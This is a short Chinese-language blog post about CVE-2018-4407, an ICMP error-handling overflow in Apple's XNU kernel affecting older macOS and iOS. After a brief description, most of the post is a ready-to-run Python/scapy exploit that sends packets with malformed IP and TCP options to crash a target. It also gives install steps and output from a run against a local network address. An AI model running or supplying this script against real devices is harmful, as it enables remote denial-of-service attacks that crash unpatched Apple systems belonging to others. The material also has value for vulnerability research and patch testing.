CVE-2018-4407 苹果设备远程溢出漏洞

2018-10-30 公开了一个 Apple 设备的远程代码执行漏洞 CVE-2018-4407，该漏洞是收到畸形数据包后，向发送方报告错误，在构造 ICMP 数据包时发生了溢出，影响 macOS 10.13.6 及以下版本，iOS 11 及以下版本

python exp，能够造成让系统崩溃，代码如下：

# CVE-2018-4407 ICMP DOS
# https://lgtm.com/blog/apple_xnu_icmp_error_CVE-2018-4407
# from https://twitter.com/ihackbanme
import sys
try:
    from scapy.all import *
except Exception as e:
    print ("[*] You need install scapy first:\n[*] sudo pip install scapy ")
if __name__ == '__main__':
    try:
        check_ip = sys.argv[1]
        print ("[*] !!!!!!Dangerous operation!!!!!!")
        print ("[*] Trying CVE-2018-4407 ICMP DOS " + check_ip)
        for i in range(8,20):
            send(IP(dst=check_ip,options=[IPOption("A"*i)])/TCP(dport=2323,options=[(19, "1"*18),(19, "2"*18)]))
        print ("[*] Check Over!! ")
    except Exception as e:
        print "[*] usage: sudo python check_icmp_dos.py 127.0.0.1"

测试 exp 之前安装一下 scapy

sudo pip install scapy

然后开始见证奇迹：

$ sudo python ./icmp_ddos.py 192.168.2.238
Fontconfig warning: ignoring UTF-8: not a valid region tag
Fontconfig warning: ignoring UTF-8: not a valid region tag
[*] !!!!!!Dangerous operation!!!!!!
[*] Trying CVE-2018-4407 ICMP DOS 192.168.2.238
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
[*] Check Over!! 

原文地址：https://www.exchen.net/apple_xnu_icmp_error_cve-2018-4407.html